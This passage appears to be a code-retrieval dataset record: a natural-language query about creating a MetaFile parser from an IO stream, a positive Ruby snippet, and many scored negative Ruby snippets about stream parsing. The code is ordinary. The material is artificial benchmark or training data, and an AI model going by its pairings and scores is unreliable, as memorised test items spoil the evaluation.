"64fd8a5f008014290cc54926222d4d91", "score": "0.47796535", "text": "def wrap(code)\n \"\"\"\n#include \\\"fish.h\\\"\n#include <stdio.h>\nint main(void) {\n #{code}\n}\n\"\"\"[1..-1] # String one line down for formatting, remove the newline.\nend", "title": "" }, { "docid": "a80840adeb3feae4c65a5fa6ffb79445", "score": "0.47770342", "text": "def po; end", "title": "" }, { "docid": "cff814ce008f9fc03b80a70f6e646fce", "score": "0.47732988", "text": "def autofinish; end", "title": "" }, { "docid": "313282dfd937f0c0e4e23886197b0d9a", "score": "0.47700158", "text": "def vi\n path = '/tmp/irb.rb'\n File.exist?(path) or FileUtils.touch(path)\n mtime = File.stat(path).mtime\n Kernel::system 'vi', path\n if mtime < File.stat(path).mtime\n eval IO.read(path), TOPLEVEL_BINDING\n end\nend", "title": "" }, { "docid": "9bcd26a0291299e0e2e36152edb16a72", "score": "0.4767111", "text": "def ruby_ast=(_); end", "title": "" }, { "docid": "9bcd26a0291299e0e2e36152edb16a72", "score": "0.4767111", "text": "def ruby_ast=(_); end", "title": "" }, { "docid": "12496b32c44fef0732fb418604ca4758", "score": "0.4765792", "text": "def code_from_markdown file\n content = File.read(file)\n code_snippets = []\n content.scan(/`{3,}ruby\\n((.|\\n)*?)^`{3,}/) { |m| code_snippets << $1 }\n code_snippets\nend", "title": "" }, { "docid": "5b51a7eb311a3d26840c20fb89103ba1", "score": "0.476355", "text": "def display_code_lines(file, line_start, line_end)\n code = file.lines((line_start - 1)..(line_end - 1)).join(\"\\n\")\n format_code_block(code, file.answer.question.actable.language, [line_start, 1].max)\n end", "title": "" }, { "docid": "ad33bbc80fa672e72e7525f3654280dd", "score": "0.47623128", "text": "def comment_block(file, txt)\n #puts File.extname(file)\n code = SUFFIXMAP[File.extname(file)]\n case code\n when :hash\n ['## ' + BLB] + txt.map {|l| '# ' + l} + ['## ' + ELB]\n when :java\n ['// ' + BLB, '/* '] + txt.map{|l| ' * ' + l} + [' */', '// ' + ELB, ]\n when :doubleslash\n ['/// ' + BLB] + txt.map {|l| '// ' + l} + ['/// ' + ELB]\n else\n LICENSE\n end\nend", "title": "" }, { "docid": "c8802b30f02d28b34c77e4c870c9081d", "score": "0.476093", "text": "def lbrace; end", "title": "" }, { "docid": "c8802b30f02d28b34c77e4c870c9081d", "score": "0.476093", "text": "def lbrace; end", "title": "" }, { "docid": "c8802b30f02d28b34c77e4c870c9081d", "score": "0.476093", "text": "def lbrace; end", "title": "" }, { "docid": "c8802b30f02d28b34c77e4c870c9081d", "score": "0.476093", "text": "def lbrace; end", "title": "" }, { "docid": "deaf937c473d357673708a04d53b251f", "score": "0.47535437", "text": "def indentation; end", "title": "" }, { "docid": "deaf937c473d357673708a04d53b251f", "score": "0.47535437", "text": "def indentation; end", "title": "" }, { "docid": "deaf937c473d357673708a04d53b251f", "score": "0.47535437", "text": "def indentation; end", "title": "" }, { "docid": "deaf937c473d357673708a04d53b251f", "score": "0.47535437", "text": "def indentation; end", "title": "" }, { "docid": "deaf937c473d357673708a04d53b251f", "score": "0.47535437", "text": "def indentation; end", "title": "" }, { "docid": "deaf937c473d357673708a04d53b251f", "score": "0.47535437", "text": "def indentation; end", "title": "" }, { "docid": "50bf69b1e70f4353891af0cd145fcc00", "score": "0.47528136", "text": "def program_with_linenumbers\n return code_with_linenumbers\n end", "title": "" }, { "docid": "cf92f1bba189261d86579b2f13e9db3a", "score": "0.47488818", "text": "def convert_codeblock el, opts\n writer = opts[:writer]\n # NOTE hack to down-convert level-5 heading to block title\n if (current_line = writer.current_line) &&\n ((current_line.start_with? '.') ? (current_line == '....' || (current_line.start_with? '. ')) : true)\n writer.start_block\n end\n lines = el.value.rstrip.split LF\n first_line = lines[0]\n if (lang = el.attr['class'])\n # NOTE Kramdown always prefixes class with language-\n # TODO remap lang if requested\n lang = (lang.slice 9, lang.length).downcase\n if @diagram_languages.include? lang\n diagram = true\n writer.add_line %([#{lang}])\n else\n writer.add_line %([,#{lang}])\n end\n elsif (prompt = first_line && (first_line.start_with? '$ '))\n writer.add_line %([,#{lang = 'console'}]) if lines.include? ''\n end\n if lang || (el.options[:fenced] && !prompt)\n delimiter = diagram ? '....' : '----'\n writer.add_line delimiter\n writer.add_lines lines\n writer.add_line delimiter\n elsif !prompt && ((lines.include? '') || (first_line && (ListMarkerRx.match? first_line)))\n writer.add_line '....'\n writer.add_lines lines\n writer.add_line '....'\n else\n # NOTE clear the list continuation as it isn't required\n writer.clear_line if writer.current_line == '+'\n writer.add_line(lines.map {|l| %( #{l}) })\n end\n end", "title": "" }, { "docid": "fb83194146706770af81eae1620bd605", "score": "0.47472817", "text": "def translate_do(line)\n parts = line.chop.split(/\\s+/)\n lines = []\n finish = var_or_num(parts.pop)\n parts.pop # skip to\n start = var_or_num(parts.pop)\n parts.pop # skip equals\n var = parts.pop\n\n lines << \"(#{start} - 1..#{finish} - 1).each do |#{var}|\"\n lines << \"\\t#{ivarify(var)} = #{var}\"\n lines.join(\"\\n\")\n end", "title": "" }, { "docid": "3aac8921bcd1a11e146d25e90d4f7c9f", "score": "0.47430384", "text": "def tt_code_block(language, content)\n language = \" #{language}\" if language.length > 0\n \"<pre><code class='#{language}'>#{ content }</code></pre>\"\n end", "title": "" }, { "docid": "755667bb34d1bee432739c26ed4156bb", "score": "0.474152", "text": "def configure_macvim\n system(\"/bin/sh\", \"-c\", <<-EOF)\n defaults write org.vim.MacVim MMTextInsetTop 2\n defaults write org.vim.MacVim MMTextInsetBottom 5\n defaults write org.vim.MacVim MMTextInsetLeft 5\n defaults write org.vim.MacVim MMTextInsetRight 5\n defaults write org.vim.MacVim MMTabOptimumWidth 200\n EOF\nend", "title": "" }, { "docid": "803e29bf5ff1ad8b9f901878bca033e0", "score": "0.47405982", "text": "def detect_code_language!(el)\n code = el.value.split(\"\\n\")\n first_line = code.shift\n if first_line =~ /^:([^:]+):$/\n el.value = code.join(\"\\n\")\n $1\n end\n end", "title": "" }, { "docid": "16ba5e9256b77db9a497cefb3b7b9a61", "score": "0.4736694", "text": "def ruby_command; end", "title": "" }, { "docid": "ceb5787c2176fd855cf4b29c1bb4aa89", "score": "0.47344768", "text": "def view_language\n return \"haml\" if cli.options.key? :haml\n return \"slim\" if cli.options.key? :slim\n \"erb\"\n end", "title": "" } ]
b582518dbdd0627c4987a9aa8ad29f15
Creates a new MetaFile parser that will read from the given _io_ stream.
[ { "docid": "d6af042f9f9cb2807907c01f8c8f256e", "score": "0.7071593", "text": "def initialize( io )\n raise ArgumentError, \"expecting an IO stream\" unless io.respond_to? :gets\n @io = io\n @meta_count = 0\n end", "title": "" } ]
[ { "docid": "10920b9c46d2602ba1166f212a188836", "score": "0.71698374", "text": "def from_stream(io); end", "title": "" }, { "docid": "8db9324747e1d4efa80e685e9409859d", "score": "0.6901654", "text": "def from_io io, parser=nil\n @input.io = io\n @input.parser = parser if parser\n @input\n end", "title": "" }, { "docid": "8db9324747e1d4efa80e685e9409859d", "score": "0.6901654", "text": "def from_io io, parser=nil\n @input.io = io\n @input.parser = parser if parser\n @input\n end", "title": "" }, { "docid": "8db9324747e1d4efa80e685e9409859d", "score": "0.6901654", "text": "def from_io io, parser=nil\n @input.io = io\n @input.parser = parser if parser\n @input\n end", "title": "" }, { "docid": "2807f6079a5fc54bfa3e6d276a8afb48", "score": "0.68801993", "text": "def from_io(io)\n @io = io\n @filesize = @io.size rescue 0 # chab : rescue as i'm not sure of behaviour with stream\n original_pos = @io.pos\n @io.extend(Mp3Info::Mp3FileMethods)\n version_maj, version_min, flags = @io.read(3).unpack(\"CCB4\")\n @unsync, ext_header, experimental, footer = (0..3).collect { |i| flags[i].chr == '1' }\n raise(ID3v2Error, \"can't find version_maj ('#{version_maj}')\") unless [2, 3, 4].include?(version_maj)\n @version_maj, @version_min = version_maj, version_min\n @tag_length = @io.get_syncsafe\n puts \"tag size in file: #{@tag_length}\" if $DEBUG\n\n @parsed = true\n begin\n case @version_maj\n when 2\n read_id3v2_2_frames\n when 3, 4\n # seek past extended header if present\n @io.seek(@io.get_syncsafe - 4, IO::SEEK_CUR) if ext_header\n read_id3v2_3_frames\n end\n rescue ID3v2Error => e\n warn(\"warning: id3v2 tag not fully parsed: #{e.message}\")\n end\n @io_position = @io.pos\n puts \"beginning of audio: #{@io_position}\" if $DEBUG\n\n @hash_orig = @hash.dup\n #no more reading\n @io = nil\n end", "title": "" }, { "docid": "ca08f0f6c04b84036cfb1140ea4fc71a", "score": "0.6871618", "text": "def from_io(io)\n @io = io\n original_pos = @io.pos\n @io.extend(Mp3Info::Mp3FileMethods)\n version_maj, version_min, flags = @io.read(3).unpack(\"CCB4\")\n @unsync, ext_header, experimental, footer = (0..3).collect { |i| flags[i].chr == '1' }\n raise(ID3v2Error, \"can't find version_maj ('#{version_maj}')\") unless [2, 3, 4].include?(version_maj)\n @version_maj, @version_min = version_maj, version_min\n @valid = true\n @tag_length = @io.get_syncsafe\n case @version_maj\n when 2\n read_id3v2_2_frames\n when 3, 4\n # seek past extended header if present\n @io.seek(@io.get_syncsafe - 4, IO::SEEK_CUR) if ext_header\n read_id3v2_3_frames\n end\n\n @io.seek(original_pos + @tag_length, IO::SEEK_SET)\n\n # skip padding zeros at the end of the tag\n while @io.getbyte == 0; end\n\n @io.seek(-1, IO::SEEK_CUR)\n @io_position = @io.pos\n \n @hash_orig = @hash.dup\n #no more reading\n @io = nil\n # we should now have io sitting at the first MPEG frame\n end", "title": "" }, { "docid": "4ad37124b2704e81153024f65c495bc8", "score": "0.6709139", "text": "def from_io(io)\n @io = io\n version_maj, version_min, flags = @io.read(3).unpack(\"CCB4\")\n unsync, ext_header, experimental, footer = (0..3).collect { |i| flags[i].chr == '1' }\n raise(\"can't find version_maj ('#{version_maj}')\") unless [2, 3, 4].include?(version_maj)\n @version_maj, @version_min = version_maj, version_min\n @valid = true\n tag2_len = @io.get_syncsafe\n case @version_maj\n when 2\n read_id3v2_2_frames(tag2_len)\n when 3,4\n # seek past extended header if present\n @io.seek(@io.get_syncsafe - 4, IO::SEEK_CUR) if ext_header\n read_id3v2_3_frames(tag2_len)\n end\n @io_position = @io.pos\n \n @hash_orig = @hash.dup\n #no more reading\n @io = nil\n # we should now have io sitting at the first MPEG frame\n end", "title": "" }, { "docid": "1cae96136a15670699fe1bfe96dec915", "score": "0.66131955", "text": "def from_io(io); end", "title": "" }, { "docid": "1cae96136a15670699fe1bfe96dec915", "score": "0.66131955", "text": "def from_io(io); end", "title": "" }, { "docid": "4e5a4c220510269728d50e895680b016", "score": "0.65880483", "text": "def parse(io_stream)\n # convert String to StringIO\n io_stream = StringIO.new(io_stream) if io_stream.kind_of?(String)\n\n # parse header\n parse_header(io_stream)\n\n # parse the checksum\n # load the entire entry and validate the checksum\n entry_body,ignored_index = Tools.read_asi_checksum_string(io_stream)\n\n # resume parsing from the now-loaded entry_body\n io_stream = StringIO.new(entry_body)\n\n # load the info-block\n parse_info_block(io_stream)\n\n # load the columns-block\n parse_columns_block(io_stream)\n\n # parse the index-block\n index_block_length=io_stream.read_asi\n @records = parse_index_block(io_stream,MemoryRecord)\n\n # data_block\n data_block = io_stream.read\n\n # init the records from the index-records\n @data_loaded = true\n @records.each do |k,record|\n record.parse_record(data_block[record.disk_offset,record.disk_length],@columns)\n end\n end", "title": "" }, { "docid": "ebc3a6fe45158b6a3b3b8ea351385d64", "score": "0.6526339", "text": "def initialize(io)\n @string = \"\"\n\n if io.kind_of? String\n @string = io\n elsif io.kind_of? IO or io.kind_of? StringIO # stupid StringIO\n @string = io.read\n else\n raise ParserError, \"Argument to new must be String or IO\"\n end\n\n if self.class.debug\n $stderr.puts \"Parsing:\\n#{@string}\";\n end\n\n @params = []\n @method = nil\n self.parse!\n\n @params.freeze\n @method.freeze\n end", "title": "" }, { "docid": "f10997353c81893f5991c12654488f53", "score": "0.6459307", "text": "def parse (io, &block)\n close_stream = false\n if io.is_a?(String)\n if io.include?('<') and io.include?('>')\n io = StringIO.new(io)\n else\n io = open(io)\n end\n close_stream = true\n elsif io.is_a?(Pathname)\n io = io.open\n close_stream = true\n elsif io.is_a?(URI)\n io = io.open\n close_stream = true\n end\n\n begin\n parser = parser_class(parser_name).new(&block)\n parser.parse_stream(io)\n return parser.root\n ensure\n io.close if close_stream\n end\n end", "title": "" }, { "docid": "029ba8a8dae5ea2a6b1a27d489a4327c", "score": "0.6429103", "text": "def initialize(io)\n begin\n @raw = JSON.load(io)\n rescue JSON::ParserError => e\n raise Errors::BoxMetadataMalformed,\n error: e.to_s\n end\n\n @raw ||= {}\n @name = @raw[\"name\"]\n @description = @raw[\"description\"]\n @version_map = (@raw[\"versions\"] || []).map do |v|\n begin\n [Gem::Version.new(v[\"version\"]), v]\n rescue ArgumentError\n raise Errors::BoxMetadataMalformedVersion,\n version: v[\"version\"].to_s\n end\n end\n @version_map = Hash[@version_map]\n end", "title": "" }, { "docid": "a3a12ac6fbab9f3ad6a46b2ebb5df27d", "score": "0.6374113", "text": "def from_io(io)\n io.set_encoding(::Encoding::BINARY)\n verify_signature!(io)\n\n ds = new\n while ds.end_chunk.nil?\n chunk = ChunkyPNG::Chunk.read(io)\n case chunk\n when ChunkyPNG::Chunk::Header then ds.header_chunk = chunk\n when ChunkyPNG::Chunk::Palette then ds.palette_chunk = chunk\n when ChunkyPNG::Chunk::Transparency then ds.transparency_chunk = chunk\n when ChunkyPNG::Chunk::ImageData then ds.data_chunks << chunk\n when ChunkyPNG::Chunk::Physical then ds.physical_chunk = chunk\n when ChunkyPNG::Chunk::End then ds.end_chunk = chunk\n else ds.other_chunks << chunk\n end\n end\n ds\n end", "title": "" }, { "docid": "fd9df4374edee8bccf234b3510bbf671", "score": "0.6341587", "text": "def from_io(io)\n from_datastream(ChunkyPNG::Datastream.from_io(io))\n end", "title": "" }, { "docid": "fd9df4374edee8bccf234b3510bbf671", "score": "0.6341587", "text": "def from_io(io)\n from_datastream(ChunkyPNG::Datastream.from_io(io))\n end", "title": "" }, { "docid": "eb6aa6346d0804fd4f91e4eec59e168c", "score": "0.6332027", "text": "def parse(io = nil, &block)\n root.instance_eval(io.read, io.path, 1) if io\n root.instance_eval(&block) if block_given?\n self\n end", "title": "" }, { "docid": "a18361a814034aa0aa8b9abab20bbdbc", "score": "0.63281", "text": "def reader!(io_stream)\n return reader_class.new(io_stream, settings.merge(\"logger\" => logger))\n end", "title": "" }, { "docid": "fc015f31d22250406c729e5994356542", "score": "0.62951833", "text": "def parse_moov(io_stream, level, size)\n data = read_or_raise(io_stream, size, \"Premature end of file\")\n \n cache = Tempfile.new \"mp4info\"\n \n # required for Windows\n cache.binmode\n \n cache.write data\n cache.open\n cache.rewind\n \n parse_container(cache, level, size)\n \n cache.close!\n end", "title": "" }, { "docid": "6118b4469cba0f5fe93a3ad003fe900c", "score": "0.6294166", "text": "def initialize(io = nil)\n @sections = {}\n io.each do |line|\n parse_line line\n end unless io.nil?\n end", "title": "" }, { "docid": "7811f3619f73d0a8c4937fc6513c3f0f", "score": "0.6236238", "text": "def initialize io\n io.rewind\n io.pos = 12 # /^RIFF[\\s\\S]{4}AVI $/\n while io.read(4) =~ /^(?:LIST|JUNK)$/ do\n s = io.read(4).unpack('V').first\n @pos_of_movi = io.pos - 4 if io.read(4) == 'movi'\n io.pos += s - 4\n end\n @pos_of_idx1 = io.pos - 4 # here must be idx1\n s = io.read(4).unpack('V').first + io.pos\n @meta = []\n while chunk_id = io.read(4) do\n break if io.pos >= s\n @meta << {\n :id => chunk_id,\n :flag => io.read(4).unpack('V').first,\n :offset => io.read(4).unpack('V').first,\n :size => io.read(4).unpack('V').first,\n }\n end\n fix_offsets_if_needed io\n unless safe_frames_count? @meta.size\n io.close!\n exit\n end\n io.rewind\n @io = io\n end", "title": "" }, { "docid": "e749c3c8ff2e0a2f1c4b4d7bef70c361", "score": "0.6197329", "text": "def initialize io\n\t\t@io = io\n\t\tio.pos = 0\n\t\t@header = Header.new io.read(Header::SIZE)\n\n\t\t# would prefer this to be in Header#validate, but it doesn't have the io size.\n\t\t# should perhaps downgrade this to just be a warning...\n\t\traise FormatError, \"header size field invalid (#{header.size} != #{io.size}}\" unless header.size == io.size\n\n\t\tload_idx\n\t\tload_desc\n\t\tload_xattrib\n\n\t\t@special_folder_ids = {}\n\tend", "title": "" }, { "docid": "59fb17863e7f287cb2e2a7a83e4312d5", "score": "0.61534387", "text": "def parse_meta(io_stream, level, size)\n # META is a container preceeded by a version field\n io_stream.seek(4, 1)\n parse_container(io_stream, level, size - 4)\n end", "title": "" }, { "docid": "66db064814aa748aed445a25892f8cff", "score": "0.61515677", "text": "def parse(io)\n # Ok this is gothic BUT needed. What we do is we transform the XML setup into the OLD\n # setup format, after which we run it through the OLD parser all the same.\n # I am almost sure that ADSK does the same.\n t = Tempfile.new(\"bx\")\n REXML::Document.parse_stream(io, XMLToSetup.new(t))\n t.rewind\n if block_given?\n super(t, &Proc.new)\n else\n super(t)\n end\n end", "title": "" }, { "docid": "b24ad51c393df74310f3103845f1b296", "score": "0.6142485", "text": "def initialize(io)\n @gzip = Zlib::GzipReader.new(io)\n end", "title": "" }, { "docid": "9011496911052cce92f634e67df02e22", "score": "0.6128882", "text": "def parse(io_stream)\n parse_base(io_stream)\n # parse the index-block, and optionally, load the data\n @data_loaded = false\n @records = parse_index_block(io_stream,DiskRecord)\n end", "title": "" }, { "docid": "96baa9a163a7b2b006baa8c4be1362a3", "score": "0.611943", "text": "def initialize(io) end", "title": "" }, { "docid": "96baa9a163a7b2b006baa8c4be1362a3", "score": "0.611943", "text": "def initialize(io) end", "title": "" }, { "docid": "b6fb008f9eac578487d9054daed4ff69", "score": "0.60994077", "text": "def parse(path_or_io, options={})\n public_send(path_or_io.is_a?(String) ? :parse_file : :parse_io, path_or_io, options)\n self\n end", "title": "" }, { "docid": "9536c1fad46c7333a39c424c051a75d5", "score": "0.6097926", "text": "def initialize(io, opts = nil)\n # parse the ID3 header\n @header = nil\n @frames = nil\n opts ||= DEFAULT_INIT_OPTIONS\n\n io = File::open(io, 'r') if io.is_a? String\n\n begin\n if @header = read_id3v2_header(io)\n # TODO: read extended header\n @frames = read_frames(io)\n elsif opts[:try_id3v1]\n # we'll call it the header, even though it's a footer\n @header = read_id3v1_footer(io)\n\n # handle the common stuff\n @artist = header.artist\n @album = header.album\n @year = header.year\n @title = header.title\n @comment = header.comment\n @genre = parse_genre(header.genre)\n else\n raise \"Couldn't load ID3 header\"\n end\n\n # set the version\n @version = header.version\n rescue \n raise \"Couldn't parse ID3 header: #$!\"\n end\n end", "title": "" }, { "docid": "6fcb95846e7a18d3ef870e2ca91f4c78", "score": "0.6097211", "text": "def load(io)\n data = if io.is_a? String\n io\n else\n io.read\n end\n new Libcgraph.agmemread(data)\n end", "title": "" }, { "docid": "e47c69690f5b35827c07bc2378f79f0e", "score": "0.60362273", "text": "def parse_io(fh)\n # seek to the SEQUEST file\n if fh.respond_to?(:set_encoding)\n # this mimics ruby1.8 behavior as we read in the file\n fh.set_encoding('ASCII-8BIT')\n end\n loop do\n line = fh.gets\n return nil if line.nil? # we return nil if we reach then end of the file without seeing sequest params\n if line =~ @@sequest_line\n # double check that we are in a sequest params file:\n pos = fh.pos\n if fh.gets =~ /^first_database_name/\n fh.pos = pos\n break\n end\n end\n end\n @opts = grab_params(fh)\n @opts[\"search_engine\"] = \"SEQUEST\"\n # extract out the mods\n @mods = {}\n @opts.each do |k,v|\n if k =~ /^add_/\n @mods[k] = @opts.delete(k)\n end\n end\n\n ## this gets rid of the .hdr postfix on indexed databases\n @opts[\"first_database_name\"] = @opts[\"first_database_name\"].sub(/\\.hdr$/, '')\n self\n end", "title": "" }, { "docid": "5490845c0794af2a718a09e2303fa55f", "score": "0.6023949", "text": "def from_io(io, type)\n raise unless io.is_a?(::IO)\n \n clazz = IO.const_get(type.to_s.capitalize)\n \n clazz.new(self, io, type).tap { |io| handles.add(io) }\n end", "title": "" }, { "docid": "e06d20a270a1c104dcd8773c8051871f", "score": "0.6019542", "text": "def initialize(io)\n end", "title": "" }, { "docid": "4f0a325d98391f1a9663892fdcca9968", "score": "0.6008508", "text": "def parse(filename_or_io)\n \n # Load a file if necessary\n fin = filename_or_io\n fin = File.open(filename_or_io) unless filename_or_io.is_a?(IO)\n\n # Load the header\n version, type = ParserTools.read_header( fin )\n\n # Depending on the header, load a lexicon \n parser = nil\n parser = @multi_word_parser if type == :multi\n parser = @single_word_parser if type == :single\n\n return nil unless parser\n return parser.parse(fin, version, type)\n ensure\n fin.close if fin && !filename_or_io.is_a?(IO)\n end", "title": "" }, { "docid": "98083f6031da46a6cbea138ffd9056b3", "score": "0.5985493", "text": "def read_from_stream(&bl)\n @parser.on_parse_complete = bl\n @parser << io.readpartial(chunk_size)\n end", "title": "" }, { "docid": "8ec5a3c3da3901b7d1ceb8a38806b04f", "score": "0.59544015", "text": "def initialize(io)\n @rparent={:subs => [], :indent => -1,:text => [],:attrs => {},:comments => []}\n \n #todo guess at contents xml or nom\n parse_nom(io)\n end", "title": "" }, { "docid": "012a176f106d8e8a28379ae62d3d3bd4", "score": "0.5935727", "text": "def initialize(input)\n if input.respond_to?(:read)\n @io = input\n else\n @io = open(input, \"rb\")\n end\n\n unless Archive::Tar::Minitar.seekable?(@io, :rewind)\n raise Archive::Tar::Minitar::NonSeekableStream\n end\n\n @tar = Reader.new(@io)\n end", "title": "" }, { "docid": "22135e90ab72f952614552a60d435297", "score": "0.59263796", "text": "def initialize(io)\n @io = io\n end", "title": "" }, { "docid": "22135e90ab72f952614552a60d435297", "score": "0.59263796", "text": "def initialize(io)\n @io = io\n end", "title": "" }, { "docid": "22135e90ab72f952614552a60d435297", "score": "0.59263796", "text": "def initialize(io)\n @io = io\n end", "title": "" }, { "docid": "22135e90ab72f952614552a60d435297", "score": "0.59263796", "text": "def initialize(io)\n @io = io\n end", "title": "" }, { "docid": "49a4b42062d6b5578a998b6818c71130", "score": "0.59230554", "text": "def initialize(io)\n @io = io\n end", "title": "" }, { "docid": "31d4218af23e15d66d887be97d2fa94f", "score": "0.5921072", "text": "def parse_stream(stream, options = {}, &block)\n parse_io(stream, options, &block)\n end", "title": "" }, { "docid": "67d9a5f430bf111c8d8ed50bbfed6ea9", "score": "0.5900849", "text": "def initialize(zip_io_stream)\n @current_entry = nil\n @zip_contents = {}\n zip_io_stream.each do |entry|\n next unless entry.file?\n content = entry.get_input_stream.read\n @zip_contents[entry.name] = wrap_entry(entry.name, content)\n end\n #\n @dom = build_dom(@zip_contents)\n end", "title": "" }, { "docid": "524f98570b787e210025382ead6e3e80", "score": "0.5886155", "text": "def initialize(io)\n raise GZippedTar::Tar::NonSeekableIO unless io.respond_to? :pos=\n\n @io = io\n @closed = false\n end", "title": "" }, { "docid": "d00a7ea8ef52a9c41604275a20910f55", "score": "0.58763814", "text": "def read(io, proc = nil)\t# :yields: track, num_tracks, index\n reader = @reader_class.new(self, block_given?() ? Proc.new() : proc)\n reader.read_from(io)\n end", "title": "" }, { "docid": "bcc410f665bc36d5492b876e67195ab1", "score": "0.5867047", "text": "def initialize(packfile_io)\n begin\n go_to_start(packfile_io)\n @sign = parse_sign(packfile_io)\n @version = parse_version(packfile_io)\n @n_entries = parse_n_entries(packfile_io)\n rescue\n raise 'Invalid packfile. Cannot parse header'\n end\n raise \"Invalid signature. Got '#{@sign}' expected 'PACK'\" unless @sign == 'PACK'\n end", "title": "" }, { "docid": "2ed13497ae792df771ce556a4b450b39", "score": "0.5831019", "text": "def parse\n return unless @file_io.size >= TAG_SIZE\n\n @file_io.seek(-TAG_SIZE, IO::SEEK_END)\n @id = Helper.encode_to_utf8(@file_io.read(3), source_encoding: DEFAULT_ENCODING)\n\n return unless valid?\n\n @title = Helper.encode_to_utf8(@file_io.read(30), source_encoding: DEFAULT_ENCODING)\n @artist = Helper.encode_to_utf8(@file_io.read(30), source_encoding: DEFAULT_ENCODING)\n @album = Helper.encode_to_utf8(@file_io.read(30), source_encoding: DEFAULT_ENCODING)\n @year = Helper.encode_to_utf8(@file_io.read(4), source_encoding: DEFAULT_ENCODING)\n\n comment = @file_io.read(30)\n\n if comment.getbyte(-2) == 0\n @track = comment.getbyte(-1)\n comment = comment.byteslice(0..-3)\n end\n\n @comments.push(Helper.encode_to_utf8(comment, source_encoding: DEFAULT_ENCODING))\n @genre = GENRES[@file_io.getbyte] || \"\"\n end", "title": "" }, { "docid": "89b465ec043cb585a2d6a5d208b2bfb4", "score": "0.582526", "text": "def initialize(with_io, sentinel = nil, limit_to_one_stmt = false, stack_depth = 0)\n # We parse byte by byte, but reading byte by byte is very slow. We therefore use a buffering reader\n # that will cache in chunks, and then read from there byte by byte.\n # This yields a substantial speedup (4.9 seconds for the test\n # as opposed to 7.9 without this). We do check for the proper class only once so that when we use nested lexers\n # we only wrap the passed IO once, and only if necessary.\n with_io = Bychar.wrap(with_io) unless with_io.respond_to?(:read_one_char)\n @io, @stack, @buf, @sentinel, @limit_to_one_stmt, @stack_depth = with_io, [], '', sentinel, limit_to_one_stmt, stack_depth\n \n catch(STOP_TOKEN) do\n loop { parse }\n end\n \n @in_comment ? consume_comment! : consume_atom!\n end", "title": "" }, { "docid": "2c7051821f78256ccc0b6cc985433809", "score": "0.5811561", "text": "def initialize(filename, offset = 0, io = nil)\n super()\n if (io.nil?) \n @archiveIO = ::File.open(filename, \"rb\")\n @archiveIO.seek(offset, IO::SEEK_SET)\n else\n @archiveIO = io\n end\n @decompressor = NullDecompressor.instance\n @currentEntry = nil\n end", "title": "" }, { "docid": "54908d72e7af08c4d00e849e3f4c7c9e", "score": "0.580297", "text": "def parse_io(io, encoding='utf-8')\n # possibly this could make some difference, but none I can see \n # opts = ParseOptions::COMPACT | ParseOptions::DEFAULT_HTML | ParseOptions::NOBLANKS | ParseOptions::NONET\n\n # we could offset directly to 'body'.. but 'body' is not there sometimes :)\n xmlnode = parser.parse(io, @root_url, encoding)\n content_node = find_content(xmlnode)\n items = find_items(content_node)\n rescue RuntimeError => e\n if e.message == \"xmlXPathTranslateFunction: Invalid UTF8 string\\n\" && encoding\n if io.is_a? String\n encoding = nil\n retry\n elsif io.respond_to? :rewind\n io.rewind\n encoding = nil\n retry\n end\n end\n end", "title": "" }, { "docid": "9c16dae064485682c02c38d8125fdc16", "score": "0.57931465", "text": "def create_from_stream(location, io, records)\n data = io.read\n records.each { |rec| rec.create_from_data(location, data)}\n end", "title": "" }, { "docid": "3bdc30a06a1be18579d433b6193819fa", "score": "0.57762754", "text": "def initialize(*io, write_only: false, index_dir: nil, silent: false)\n @registry = io.pop if io.last.kind_of?(Typelib::Registry)\n\n @path = io.first.path unless io.empty?\n @io =\n if io.size == 1\n io.first\n else\n IOSequence.new(*io)\n end\n @block_stream = BlockStream.new(@io)\n @big_endian = block_stream.big_endian?\n\n @data = nil\n @streams = nil\n @compress = false\n @data_header_buffer = ''\n @streams =\n if write_only\n []\n else\n load_stream_info(io, index_dir: index_dir, silent: silent)\n end\n end", "title": "" }, { "docid": "18430a320e29c9dc2bed4255e4eb1103", "score": "0.57743895", "text": "def initialize(io)\n\t\t\t\t\t@io = io\n\t\t\t\tend", "title": "" }, { "docid": "507bdf4c2af9d25a94a42619be397c6f", "score": "0.577026", "text": "def initialize(input)\n if input.respond_to?(:read)\n @io = input\n else\n @io = open(input, \"rb\")\n end\n @tarreader = Archive::Tar::Minitar::Reader.new(@io)\n end", "title": "" }, { "docid": "2ef868d824ddb9bf77023840db58e97d", "score": "0.5768311", "text": "def initialize(filepath, content_type, stringio)\n super(stringio)\n @filepath = filepath\n @content_type = content_type\n end", "title": "" }, { "docid": "6011028f40489b260080e98dd1e1809b", "score": "0.57593733", "text": "def initialize(io, mtime)\n @io = io\n @mtime = mtime\n end", "title": "" }, { "docid": "12a615e5c5eeca98a407117f7521b93d", "score": "0.57533985", "text": "def initialize(io, encoding=\"UTF-8\")\n @io = io\n @encoding = encoding\n end", "title": "" }, { "docid": "e524da8e746f31ff4ea5d428ff682d4c", "score": "0.57503283", "text": "def initialize(io)\n @io = io\n end", "title": "" }, { "docid": "e524da8e746f31ff4ea5d428ff682d4c", "score": "0.57503283", "text": "def initialize(io)\n @io = io\n end", "title": "" }, { "docid": "6e51e58cd0c6199cfe6591a4df6572b1", "score": "0.5730244", "text": "def initialize(io)\n @io = io\n @closed = false\n end", "title": "" }, { "docid": "0f9b8d931de74d14c838f30e27226478", "score": "0.5704238", "text": "def parser(**spec, &proc)\n @state.parser = Mua::Parser.read_stream(**spec, &proc)\n end", "title": "" }, { "docid": "d1b6b4127c8a9da193d045b579c9bef6", "score": "0.5687705", "text": "def get_io(io, offset=0)\n io = ::File.open(io, \"rb\") unless io.is_a?(IO) || io.is_a?(StringIO)\n io.seek(offset, ::IO::SEEK_SET)\n io\n end", "title": "" }, { "docid": "6f9af818c463a8a464c13ef2c4857e6f", "score": "0.56837934", "text": "def parse(io=self.io, **opts)\n case (opts[:format] || ext.downcase)\n when 'gz', 'bz2', 'xz'\n parse(zopen, format: exts[-2])\n when 'json'\n read_json(io)\n when 'html', 'htm'\n read_html(io)\n when 'yaml', 'yml'\n read_yaml(io)\n when 'xml', 'rdf', 'rss'\n read_xml(io)\n when 'csv'\n read_csv(io, **opts)\n when 'tsv'\n opts[:col_sep] ||= \"\\t\"\n read_csv(io, **opts)\n when 'marshal'\n read_marshal(io)\n when 'bson'\n read_bson(io)\n else\n raise \"Unrecognized format: #{ext}\"\n end\n end", "title": "" }, { "docid": "4f0b4e964c9a71f8beab70c346a7db41", "score": "0.56618494", "text": "def initialize io, chunk_size: DEFAULT_CHUNK_SIZE, symbolize_keys: false\n super\n @parser = Yajl::Parser.new(symbolize_keys: symbolize_keys)\n @encoder = Yajl::Encoder.new\n @chunk_size = 